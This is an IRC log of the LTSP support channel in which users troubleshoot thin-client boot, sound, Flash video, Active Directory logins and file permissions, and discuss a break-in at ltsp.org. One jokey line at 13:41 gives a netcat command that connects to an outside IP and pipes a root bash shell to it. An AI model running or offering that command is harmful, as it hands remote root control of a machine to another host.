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Channel log from 12 November 2009 (all times are UTC)
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| 05:41 | <masus> hi all , does anyone now how to redirect ltsp users to squid port 3128 , have test some iptables codes with "-m owner --gid-owner" but not work.
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| 05:42 | <Ahmuck-Jr> someone mentioned a way to prevent classmates from crossing into other user's home directories
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| 05:52 | <alkisg> masus: I don't know about iptables, but you can also force the proxy with gnome mandatory settings (gconf), if you want.
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| 05:53 | <masus> alkisg: thank you
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| 05:54 | <alkisg> masus: if you're interested, I can look up the exact gconftool-2 line for you.
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| 06:11 | <masus> alkisg: i haven't gnome
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| 06:11 | <alkisg> οκ
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| 06:11 | ok
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| 06:59 | * _UsUrPeR_ arrives | |
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| 07:28 | <_UsUrPeR_> hey, has anybody had any luck with booting a client to rdesktop in 9.04? I have IP v4 forwarding turned on for localapps, along with the chmod /etc/resolv.conf for the chroot... I am trying to access a brand new Windows 2008 R2 server.
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| 07:28 | but when I boot my client, it comes up with a blinking black screen...
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| 07:28 | like it's *trying* to connect, but can't bring up the rdesktop session
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| 07:28 | here's my current lts.conf: http://pastebin.com/m47f19a23
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| 08:26 | <jammcq> good morning friends
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| 08:45 | <rjune> !j
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| 08:45 | <ltspbot> rjune: "j" is jammcq!!!!!!!!!!!!!!!!!!!!!!!
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| 08:48 | <jammcq> hey rjune
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| 08:54 | <tryltsp> Helo guys, some one can help me? Ive install ltsp5 under ubuntu 9.10, my clients boot with pxe, but with flopy wont, their stop in tftp nbi done. any ideia?
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| 08:55 | <tryltsp> i dont guive errors under syslog neither messges, waths the nex step?
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| 08:55 | the broblen could be in nbd server?
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| 08:56 | <tryltsp> someone?
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| 08:57 | sbalneav:
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| 08:57 | opz sory
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| 09:15 | <sbalneav> Morning all
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| 09:16 | <jammcq> Scotty !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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| 09:16 | <scottmaccal> Morning sbalneav.
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| 09:49 | <compdoc> can anyone help with vnc-ltsp-config?
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| 09:50 | <dro> compdoc: what is it that you need
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| 09:50 | <compdoc> does it work with vncserver, or does it replace it?
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| 09:51 | the vncserver service in centos
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| 09:51 | <dro> compdoc: i believe it runs in the chroot
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| 09:51 | compdoc: you wouldn't actually install it on the server
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| 09:52 | <compdoc> ooops
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| 09:52 | <dro> compdoc: if you installed it on the centos server instead of the chroot, then it would replace any existing vncserver installs or at least conflict with it
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| 09:52 | <compdoc> I followed some instructions in a wiki, but they dont tell you all the steps you really need to take
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| 09:53 | so I should remove the existing vncserver
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| 09:53 | <dro> compdoc: perfect chance for you to use that wiki and others to get it working, and then update the wiki
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| 09:54 | <compdoc> I never been able to update any wiki
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| 09:54 | <dro> compdoc: i don't use centos with ltsp, but basically you want to install it in the chroot
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| 09:54 | <compdoc> there a good tutorial somewhere?
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| 09:55 | <dro> compdoc: for centos not sure, let me look around at the ubuntu documentation, should be really close
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| 09:56 | <compdoc> maybe Im confused - is ltsp client only?
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| 09:56 | <dro> !docs
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| 09:56 | <ltspbot> dro: "docs" is For the most current documentation, see http://wiki.ltsp.org/twiki/bin/view/Ltsp/LtspDocumentationUpstream
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| 09:57 | <dro> compdoc: spend some time reading over the docs
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| 09:57 | <compdoc> Id like a vnc session to go away when I log out
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| 09:57 | <dro> compdoc: try this link: http://wiki.centos.org/HowTos/VNC-Server
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| 09:57 | compdoc: read it all the way thru, then try it
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| 09:57 | <compdoc> http://wiki.centos.org/HowTos/VNC-Server is the one I used :(
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| 09:59 | <dro> compdoc: read more about ltsp with centos, and try again in this room
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| 09:59 | <compdoc> www.ltsp.org seems to be broken
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| 09:59 | <dro> i find that in roughly 4 hours time, is a good time
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| 10:00 | <rjune> compdoc, so it does.
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| 10:00 | jammcq, ping
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| 10:00 | <dro> compdoc: give it some time, it will come back
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| 10:00 | <compdoc> is ltsp a client?
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| 10:00 | <dro> compdoc: read the documentation
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| 10:00 | <compdoc> cant
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| 10:01 | no docs
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| 10:01 | if you dont know, maybe someone else does
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| 10:01 | <rjune> compdoc, LTSP is a method of managing clients and setting up the server.
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| 10:01 | <compdoc> ty
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| 10:01 | <rjune> you still having issues with the vmware thing?
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| 10:01 | gah,l vnc
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| 10:01 | I got vmware on the brain apparently
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| 10:02 | <dro> compdoc: ltsp stands for linux terminal server project, in short terms it's a fast and easily deployable thin client solution
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| 10:03 | <sbalneav> rjune: I'm on the phone with him
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| 10:03 | * rjune shrugs. | |
| 10:03 | <rjune> sbalneav, somebody needs to ping Ron, ltsp.org is acting funny
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| 10:03 | <msaul_> Hi, I noticed that thin client has problem playing sound (Choppy on youtube and while playing frozen bubble). Was wondering if there was something I need to set to configure a solution to this problem... Any suggestions would be greatly appreciated...
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| 10:04 | I'm running Ubuntu 9.10...
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| 10:04 | <dro> msaul_: are you using any screen scripts? like rdesktop or just ldm?
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| 10:04 | <sbalneav> rjune: we're on it
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| 10:04 | <msaul_> Just ldm
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| 10:04 | <rjune> sbalneav, ok.
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| 10:05 | <dro> msaul_: does it happen if you only have 1 thin client running?
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| 10:05 | <msaul_> I only have one right now, just using a crossover ethernet cable
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| 10:05 | <dro> msaul_: how much memory in that thin client
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| 10:05 | <msaul_> 1 GB
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| 10:05 | <rjune> in the client?
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| 10:05 | <msaul_> yes
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| 10:05 | 3 gb on server
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| 10:06 | they are good machines
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| 10:06 | <rjune> you whippersnappers and your RAM these days.
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| 10:06 | <dro> msaul_: is it slow doing anything else on that client?
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| 10:06 | <msaul_> Not really.
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| 10:06 | <rjune> dro, are you thinking network or cpu?
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| 10:06 | <dro> msaul_: probably video drivers, causing it to drag
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| 10:06 | <msaul_> When I ran frozen-bubble disabling sound, it ran slow, but worked properly
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| 10:07 | <dro> msaul_: try turning down/off the visual effects
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| 10:07 | <msaul_> would have affect the quality of sound?
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| 10:07 | <rjune> it could.
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| 10:07 | <dro> msaul_: it's possible
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| 10:08 | <rjune> what video card in the terminal?
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| 10:08 | <msaul_> I recall on older versions, you would go into sound and set sound info like ods overnetworks...
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| 10:08 | <jammcq> oddness
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| 10:08 | <dro> msaul_: does the video or window drag or go slow if while watching the video you try to move firefox around
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| 10:08 | <msaul_> What do you mean move firefox around?
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| 10:08 | <dro> msaul_: minimize it, maximize it, make it small and move it left to right
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| 10:09 | <dro> msaul_: the other options are to go to system-->preferences-->sound
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| 10:09 | <rjune> jammcq, do you know if xdamage works properly now?
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| 10:09 | <dro> msaul_: output tab, and try changing the connector option to something else
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| 10:10 | <jammcq> yeah, damn'ed ltsp.org server has been hacked
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| 10:11 | <rjune> ah hell.
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| 10:11 | jammcq, need any help?
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| 10:11 | <jammcq> no, restoring now
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| 10:11 | but I need to do something more permanent
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| 10:11 | I'm considering moving the ltsp.org stuff back to Sourceforge
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| 10:12 | <dro> jammcq: are you running the server yourself or having someone host it?
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| 10:12 | <msaul_> dro. Turned off effects under SYSTEM PREFERENCES APPEARS to barebones, but same issue with choppy playback on youtube videos
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| 10:12 | <jammcq> dro: running it myself
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| 10:12 | <rjune> msaul_, that might never change.
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| 10:12 | <jammcq> but that's become a major pain
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| 10:13 | <dro> msaul_: did you move firefox around to see if it was also choppy
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| 10:13 | <msaul_> btw, hi Jim, glad to hear you are doing well (and busy!) :)
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| 10:13 | <dro> jammcq: yea i hear ya, i did that for a while and it just always had issues
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| 10:13 | jammcq: godaddy.com ftw
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| 10:13 | <msaul_> dro, yes, not a problem with this...
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| 10:13 | <rjune> jammcq, ltsp is still a 501c right?
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| 10:13 | <jammcq> rjune: nope
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| 10:13 | never was
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| 10:13 | I'll just put it up on Sourceforge
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| 10:13 | <rjune> I thought you guys registered as a non-profit.
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| 10:13 | <jammcq> they have everything we need and it's free
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| 10:13 | <rjune> Indeed.
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| 10:14 | <jammcq> but... we'll need to change the wiki to MediaWiki
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| 10:14 | which is way better than Twiki anyway
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| 10:14 | <dro> msaul_: ok go to system-->preferences-->sound-->output tab and try changing the connection option to something else
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| 10:14 | <msaul_> Will do. Just need to go downstairs to check, will be back...
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| 10:15 | <dro> jammcq: how much traffic do you use on a monthly basis?
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| 10:16 | <jammcq> dro: very little. it's just a home page and a wiki
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| 10:17 | <msaul_> When I do that, I don't see under Output other options to select, just internal audio analog and a balance slider...
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| 10:17 | <dro> jammcq: why not go to a hosting company then? i'm sure users would donate enough each year to keep it going
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| 10:17 | <jammcq> dro: what would a hosting company offer me that would be better than sourceforge?
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| 10:17 | <msaul_> Why not ask Seneca College?
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| 10:17 | <jammcq> why?
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| 10:17 | Sourceforge is specifically there for hosting opensource projects
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| 10:17 | <dro> jammcq: does sourceforge let you access your site at www.ltsp.org or is it ltsp.sourceforge.net
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| 10:18 | <jammcq> and we've had an account with them for like a million years
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| 10:18 | <msaul_> Good point...
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| 10:18 | <jammcq> dro: yes
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| 10:18 | and they've been hosting the mailing list since 2000
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| 10:18 | <dro> msaul_: at the bottom you don't have an option for connector?
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| 10:18 | <msaul_> let me check
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| 10:19 | No there isn't
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| 10:20 | <dro> msaul_: ok scratch that idea
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| 10:20 | <dro> msaul_: open system monitor to watch your cpu/memory usage and then play the video
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| 10:20 | msaul_: see if your cpu maxes out
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| 10:23 | <msaul_> OK, CPU didn't max out. Went up and down but not exceeding 50%
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| 10:23 | Network did go very high, nearly 6 Mibs
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| 10:23 | Near the top of that graph in system monitor
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| 10:24 | Sorry, did you mean CPU on thin client or server?
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| 10:30 | <dro> msaul_: client
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| 10:30 | msaul_: watch it from the client
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| 10:31 | msaul_: and dude, it might be because of your crossover, bad cable or something
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| 10:31 | msaul_: do you have a switch or anything to plug into to eliminate that possiblity
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| 10:32 | <sbalneav> msaul_: How are you warching this video?
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| 10:32 | With flash?
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| 10:32 | <msaul_> Yes, with Flash
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| 10:32 | <sbalneav> !flash
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| 10:32 | <ltspbot> sbalneav: "flash" is Yes, flash sucks. Make sure you have LDM_DIRECTX=True in your lts.conf file, or if it's just youtube you're after, try the HQtube plugin. Install greasemonkey for firefox, and see http://userscripts.org/scripts/show/24999
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| 10:32 | <sbalneav> here's a test
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| 10:32 | Applications -> Sound and Video -> Movie player
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| 10:33 | <rjune> sbalneav, oh, good to know.
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| 10:33 | <johnny> i heard that totem itself will play youtube sbalneav
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| 10:33 | <sbalneav> Drop down the selector at the top of the sidebar, where it says "playlist"
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| 10:33 | select "youtube"
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| 10:33 | johnny: yeah, that's what I'm getting him to try
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| 10:33 | <johnny> ah
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| 10:33 | <msaul_> OK, I will try that. Should I uninstall flash (i.e. flush the flash - bad humour) from my system first?
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| 10:34 | <sbalneav> fill in the search box with your search term
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| 10:34 | <johnny> would be good not to force mplayer.. i thought the instructions did
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| 10:34 | <sbalneav> watch video
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| 10:34 | <johnny> msaul_, depends on if you need any other flash content..
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| 10:34 | <sbalneav> if the video watches fine, then the problem isn't with ltsp, it's a flash bug.
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| 10:34 | please feel free to contact adobe, and get them to fix it.
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| 10:35 | <msaul_> OK, I will try that in a while, and I will get back to you to let you know how it worked (and then contact adobe)... Will be a little while...
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| 10:35 | <sbalneav> I'm sure, like any good project they must have a bugtracker where your can enter a bug.
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| 10:35 | Or an irc channel where they offer support.
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| 10:36 | (Is my sarcasm getting too biting?)
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| 10:36 | ok, I have to pop out for some more blood tests
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| 10:36 | bbiab
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| 10:57 | <sbalneav> back
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| 11:54 | <msaul_> OK, I did as instructed, installed greasemonkey plugin, it is running HQTube. I have medibuntu added to the repository so it asked for and allowed my to install decode for shockwake file, I do a playlist search, displays the matches beautifully, but when I double-click to run, error message states "Gstreamer encountered a general supporting library error"...
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| 12:00 | <sbalneav> What happens if you don't run it under hqtube?
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| 12:00 | just run totem directly
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| 12:00 | then it should ask you for any plugins it needs.
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| 12:00 | <msaul_> that was running it directly in totem
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| 12:00 | It did ask, and wanted to install gstreamer for decoding Flash files...
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| 12:00 | I did that...
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| 12:01 | When I tested this, I opened Totem, and did the instructions...
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| 12:01 | <sbalneav> hold on, I'm checking here
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| 12:01 | <sbalneav> I need to install the gstreamer plugins
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| 12:02 | <alkisg> msaul_: that's probably a bug in the totem youtube plugin - but that has *nothing* to do with hqtube and greasemonkey
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| 12:03 | They are 2 *different* methods to access youtube....
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| 12:07 | <johnny> alkisg, it would be nice if we didn't hae to use hqtube alkisg
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| 12:08 | and just used totem instead
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| 12:08 | would make alot more sense imo
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| 12:08 | <alkisg> I tried to apply that in my classrooms once
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| 12:08 | Total failure... :(
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| 12:08 | The students weren't accustomed to opening a video player to search youtube, and it was really, painfully slow
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| 12:09 | (not the playback; the searching)
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| 12:09 | <sbalneav> What's needed is for someone to take the gm script, and turn it into a proper plugin
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| 12:09 | so it can be installed globally
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| 12:10 | <msaul_> When I went to youtube and clicked on video it stated "HQtube is not compatible with Youtube and needs updating"
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| 12:10 | I just followed the instructions... :)
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| 12:10 | <sbalneav> yeah, there's a fix for that on the hq tube page
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| 12:10 | hold on, my plugins are almost installed
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| 12:11 | <msaul_> sorry, what was the URL for HQtube again?
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| 12:11 | so I can write that down... for future reference...
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| 12:11 | <sbalneav> !flash
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| 12:11 | <ltspbot> sbalneav: "flash" is Yes, flash sucks. Make sure you have LDM_DIRECTX=True in your lts.conf file, or if it's just youtube you're after, try the HQtube plugin. Install greasemonkey for firefox, and see http://userscripts.org/scripts/show/24999
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| 12:11 | <msaul_> got it... thanks
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| 12:14 | <sbalneav> msaul_: ah, it's a bug
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| 12:14 | https://bugs.edge.launchpad.net/ubuntu/+source/ffmpeg/+bug/459423
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| 12:15 | you need to enable proposed in your ubuntu
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| 12:15 | then update
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| 12:15 | <kdegel> Gadi: you wrote this https://help.ubuntu.com/community/UbuntuLTSP/ActiveDirectoryIntegration right?
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| 12:20 | <msaul_> Will do. Thanks. btw when I add LDM_DIRECTX=True in lts.conf, the game frozen-bubble works better, but no sound, although there was sound when I logged in to the session prior to playing game. Does this option in lts.conf disable the sound for that game? Just curious...
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| 12:21 | <sbalneav> no
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| 12:22 | <msaul_> So I'll just wait until they fix the bug with totem...
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| 12:24 | I'll be back after a while got errands to do... :) thanks for the great help to-date :)
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| 12:33 | <sbalneav> msaul_: it's fixed already, if you enable the proposed repository in "Software Sources"
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| 13:04 | <sbalneav> msaul_: I've just updated with proposed, and it works fine.
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| 13:07 | <Gadi> kdegel: yes
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| 13:07 | <msaul_> Ok, back now, I will do that repository update :)
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| 13:09 | <kdegel> Gadi: I was looking at it, wondering if it should work with 8.04
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| 13:09 | but I then started doing something else haha
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| 13:15 | * Gadi grumbles about how difficult life can be if someone hasn't packaged what you want in a repository | |
| 13:15 | <Gadi> :)
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| 13:31 | <alkisg> launchpad... debuild -S -sa, dput and you're ready :)
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| 13:32 | <Gadi> oh, sure - where's He-Man when you need him?
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| 13:32 | (or some other MOTU)
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| 13:32 | ;)
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| 13:32 | <alkisg> You don't need to be a MOTU to upload to your ppa
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| 13:32 | <Gadi> Id even settle for one of the Thundercats
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| 13:33 | <alkisg> ...go on, create one, we'll be waiting eagerly for your packages :D
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| 13:33 | <Gadi> but not the pink Voltron
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| 13:33 | or any of the cars
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| 13:34 | * Gadi wonders how many of his childhood cartoon references have made it internationally | |
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| 13:35 | <vagrantc> Gadi: you just need some protoculture or something
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| 13:35 | <sbalneav> "Heyeeyyyy booboo! how do i geddown from dis thing?"
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| 13:35 | <Gadi> is that like the study of plants?
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| 13:35 | I dealt with irrigating sprouts yesterday
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| 13:35 | * vagrantc feels burned | |
| 13:36 | <Gadi> burned?
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| 13:36 | Aloe's good for that
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| 13:36 | very soothing
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| 13:36 | * Gadi goes to irrigate some aloe | |
| 13:36 | <sbalneav> I prefer skin grafts
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| 13:36 | <vagrantc> i just thought it fit right in, but apparently, no...
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| 13:36 | * vagrantc stares at toes | |
| 13:37 | * sbalneav stares at vagrant's toes | |
| 13:37 | <sbalneav> nasty fungus infection you've got going on there :)
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| 13:37 | <Gadi> that's a fungus, not a plant
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| 13:37 | lol
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| 13:37 | <sbalneav> BEAT YA
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| 13:37 | <Gadi> scary
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| 13:37 | * vagrantc returns to the way of budo | |
| 13:37 | <sbalneav> Great minds think alike
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| 13:37 | fools seldom differ
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| 13:38 | budo?
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| 13:38 | <vagrantc> it's about contemplations of life, death, respect and your navel
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| 13:38 | <sbalneav> http://en.wikipedia.org/wiki/Bud%C5%8D
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| 13:39 | <vagrantc> man, that's almost as bad as saying NIC card.
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| 13:40 | <sbalneav> My only philosophy these days is Vulnerant omnia, ultima necat
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| 13:40 | <vagrantc> netcat? useful tool, that.
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| 13:40 | * vagrantc writes rave reviews | |
| 13:40 | <sbalneav> yeah, I like netcat
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| 13:41 | saviour of shell script network daemons everywhere
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| 13:41 | <alkisg> sudo nc 123.123.123.123 25547 -c "echo Connected; /bin/bash 2>&1"
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| 13:41 | Best way to share a shell :)
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| 13:43 | <sbalneav> Ut sit magna, tamen certe lenta ira deorum est
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| 13:50 | <jammcq> e plurbus unum
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| 13:51 | <CAN-o-SPAM> jammcq: ltsp.org? :(
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| 13:51 | <sbalneav> From many, one.
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| 13:51 | <jammcq> CAN-o-SPAM: yeah, remember that conversation we had last night?
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| 13:51 | <CAN-o-SPAM> did we jinx it?
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| 13:52 | <jammcq> and ron said "Maybe hackers got in", and I said.... "No, I don't think so"
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| 13:52 | well...
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| 13:52 | <CAN-o-SPAM> oh really?
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| 13:52 | <jammcq> yep
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| 13:52 | there was a directory in the /root dir called "bad_things" dated this morning
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| 13:52 | <CAN-o-SPAM> who hacks open source web pages ... seriously
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| 13:53 | <sbalneav> jammcq: ah,
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| 13:53 | attack vector?
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| 13:54 | <CAN-o-SPAM> also, what was the timestamp on that file?
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| 13:59 | <jammcq> sbalneav: I think they came in via twiki
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| 13:59 | <johnny> usually you can't root a server just with web access
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| 14:00 | they could have done something in /tmp or whrever twiki stores data files
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| 14:00 | there must have been another security hole
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| 14:00 | perhaps one of those local root priv escalation tickets?
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| 14:07 | <Gadi> hmm... where did I put that bad_things directory....
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| 14:07 | mv bad_things not_so_bad_things
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| 14:08 | thats better
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| 14:08 | <jammcq> sorry, it was 'bad_stuff'
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| 14:10 | <kdegel> Gadi: how busy are you?
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| 14:11 | <Gadi> well, I have php5 compiling, and a fresh cup
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| 14:11 | what can I do you for?
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| 14:11 | want me to help you hack ltsp.org?
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| 14:11 | damn
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| 14:11 | that was supposed to be a pm
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| 14:11 | :P
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| 14:12 | <CAN-o-SPAM> gadi = hilarious
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| 14:12 | <kdegel> haha
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| 14:12 | actually let me verify something
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| 14:12 | <CAN-o-SPAM> hack-attack www.thesymbiont.com
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| 14:12 | <kdegel> having an issue with new AD users trying to log into ltsp thin clients
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| 14:13 | <Gadi> ok...
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| 14:13 | <kdegel> sorry I thought I knew what it was, but now I am needing to duplicate something
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| 14:20 | Gadi: nevermind, now AD isn't working at all, I thought I was having a strange issue of new users unable to log into the domain via thin client
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| 14:20 | blaahh, stupid domain logins
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| 14:20 | <Gadi> kdegel: you using likewise-open?
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| 14:21 | <kdegel> Gadi: yes
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| 14:21 | with 8.04
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| 14:21 | buntu
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| 14:21 | so its likewise 4
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| 14:21 | <Gadi> in an older version, there was a bug where the daemon would die
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| 14:21 | <kdegel> :(
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| 14:22 | <Gadi> which, of course, meant no one could log in
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| 14:22 | <kdegel> I think thats what happened
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| 14:22 | crap crap crap crap
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| 14:22 | <Gadi> I think I worked around it with a cron job
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| 14:22 | that ran every minute or so
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| 14:22 | <kdegel> oh god
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| 14:22 | <Gadi> and checked if the daemon was running
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| 14:22 | lol
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| 14:22 | yeah
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| 14:22 | you should be able to grab a newer deb tho
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| 14:23 | from a newer distro (or from their website)
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| 14:23 | I dont think it depends on other packages too much
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| 14:24 | <Ahmuck> alkisg: that didn't appear to work
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| 14:25 | <alkisg> Ahmuck: you must be doing something wrong then... adduser is a basic debian package
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| 14:27 | That works for *new* users added with adduser.
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| 14:27 | For existing users, you should chmod the dirs yourself
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| 14:29 | <Ahmuck> ah
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| 14:29 | chmodding them won't mess anything up?
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| 14:29 | like the .files
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| 14:29 | ie, does sudo have anything in the /home folder
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| 14:30 | or can one just chmod -R /home/user
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| 14:30 | <alkisg> I think `sudo chmod 700 /home/user` will be enough for what you want.. without -R
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| 14:30 | You could also read about umask, but I'm not sure if you want to go "that far"
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| 14:31 | <rjune> wait. what?
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| 14:33 | <johnny> never use chmod -R
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| 14:33 | ever
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| 14:34 | if you need to change privs recursively you have to do something more like this
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| 14:35 | find /path -type d -exec chmod somemask {} \;
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| 14:35 | and
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| 14:35 | find /path -type f -exec chmod somemask {} \;
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| 14:36 | for directories and files respectively
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| 14:37 | Ahmuck, pay attention to that..
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| 14:37 | <johnny> otherwise you'll end up with directories without executable attributes or files with unnecessary executable attributes..
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| 14:38 | <Gadi> or dont use numbers
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| 14:38 | :)
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| 14:38 | <johnny> or that..
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| 14:38 | <Gadi> oh, actually
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| 14:38 | <johnny> you still have to be careful in any case with recursive chmod
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| 14:38 | of any kind
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| 14:38 | chown is alot safer :)
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| 14:39 | <Gadi> or recursion in general
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| 14:39 | like the hand drawing the hand
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| 14:39 | or like Back to the Future
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| 14:40 | <Ahmuck> sooo, i'm looking to clean up users, i assume that there is a way to check against a default user to see if anything is different in the directory?
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| 14:40 | <Gadi> "clean up"?
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| 14:40 | <rjune> Gadi, the problem is, to understand recursion, you must first understand recursion.
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| 14:40 | <Gadi> rjune: well thought out
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| 14:40 | <rjune> Ahmuck, diff -ur /etc/skel /home/USERNAME
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| 14:40 | but there's likely to be a *LOT* different.
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| 14:44 | * alkisg liked the "monkey island 3" definition of recursion: see recursion :) | |
| 14:50 | <Ahmuck> i guess i was just looking for "new" files
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| 14:51 | so if the defualt file set was the same, ie, the same filenames, then i could deluser
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| 14:51 | <msaul_> sbalneav I did the repository update, and it now works. I didn't do the fix to have it launch from youtube link (was it the tweak section with the configure file settings?). Also, there is something I now notice. Before, when I did SYSTEM - PREFERENCES - SOUND, there was a tab labelled "Applications", and before when I clicked on it, it did show an alsa plugin. I get sound for most things (system, movieplayer, etc), b
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| 14:51 | ut when I play frozen-bubble, no sound, and when I check those SOUND settings for applications it states "no application currently recording or playing audio"...
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| 14:51 | Thanks by the way...
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| 14:53 | I recall in earlier versions of LTSP, you could set different sound, such as alsa, esd, and there was a "network" setting, but newer sound configuration screen does seem to have this...
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| 14:55 | <sbalneav> msaul_: So, is the video good from totem?
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| 14:56 | <Gadi> msaul_: try opening a terminal and typing: export SDL_AUDIODRIVER="pulse"
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| 14:56 | and then run frozen bubble from the terminal
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| 14:56 | <msaul_> Yes, I'm looking at an older video, but it is not choppy...
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| 14:59 | sbalneav_: No, I did that command, but it did not generate sound when I restarted frozen-bubble...
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| 15:00 | <Gadi> try: export SDL_AUDIODRIVER="esd"
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| 15:00 | (pulseaudio is backwards-compatible with esd)
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| 15:01 | <msaul_> When sound was partially working when I ran frozen-bubble after fresh LSTP system install, frozen-bubble wouldn't exit properly, but when I have not sound now, frozen-bubble at least works and exits properly... I will try that other command you suggested...
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| 15:03 | sbalneav_: No, I tried that second command, but frozen-bubble did not give sound when I restarted that game, but it does work and exit properly...
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| 15:11 | <Gadi> did you run the command frozen-bubble from the terminal window?
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| 15:12 | <sbalneav> msaul_: I'm not worried about frozen buble.
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| 15:12 | I want to know if the VIDEO is working ok now?
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| 15:12 | <msaul_> Let me do that now...
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| 15:14 | <msaul_> Ran frozen bubble from terminal, no error messages regarding audio, but did say "disabling eyecandy because computer too slow"...
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| 15:16 | btw, frozen bubble is not a "biggie", in fact, the church I'm setting lab up for probably doesn't want games... I guess it is my stubborn nature. I recall approx 4 years ago running frozen bubble with sound on a Pentium I...
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| 15:16 | If memory serves me well... and it was connected to a pentium IV as server with approx 1 Gb RAM...
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| 15:17 | ... with the same crossover ethernet cable >;) ...
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| 15:28 | btw, I really like ltsp - certainly has come a long way!
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| 15:34 | <Gadi> msaul_: I meant run the export command and then frozen-bubble in the same terminal window
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| 15:34 | if you ran the export command in the terminal and then ran frozen bubble from the menu, it wouldnt make a difference
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| 15:35 | <msaul_> Oh, sorry, you are right - I see your point *blush* doing it now...
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| 15:38 | I issued both commands using export, and ran frozen-bubble, but still no sound...
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| 16:34 | <sebas891> hi folks, I'm having a little problem on a new ltsp install with ubuntu 9.04. the client exit on the initramfs.
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| 16:34 | target filesystem doesn't have /sbin/init
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| 16:34 | error connection refused.
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| 18:10 | <el_zilcho> I'm a little confused on what fat client means on ltsp
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| 18:13 | <whatdoeth> el_zilcho: what do you mean?
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| 18:14 | <scottmaccal> Good evening.
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| 18:17 | <el_zilcho> Well I wanted to originally set up a "thin client" that does the processing on itself and simply uses the server for getting the files
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| 18:17 | <whatdoeth> el_zilcho: you should be able to make a GUI interface in visual basic to do that for you
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| 19:03 | <lal00> when booting, my client barfs when booting with a "failed to load network module".
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| 19:07 | <sbalneav> lal00: Probably your ethernet card isn't being detected. What kind of network card is it?
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| 19:08 | <lal00> it is a Foxconn one (http://hardware4linux.info/component/29392/) which the e1000 module seems to support
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| 19:09 | seems that foxconn == intel
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| 19:12 | <sbalneav> iirc, there's a way to specify what ethernet module to load on the command line to linux in the pxelinux.cfg file
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| 19:12 | search the ltsp-discuss archives, they'll be something in there, I think
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| 19:23 | <sbalneav> cd 3
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| 19:24 | <lonchiton> somebody can help to install icewm in me ubuntu ltsp server?
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